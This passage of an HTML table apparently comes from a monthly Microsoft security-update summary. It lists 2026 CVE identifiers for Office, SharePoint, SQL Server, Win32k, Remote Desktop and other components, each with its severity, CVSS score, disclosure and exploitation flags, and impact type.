  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
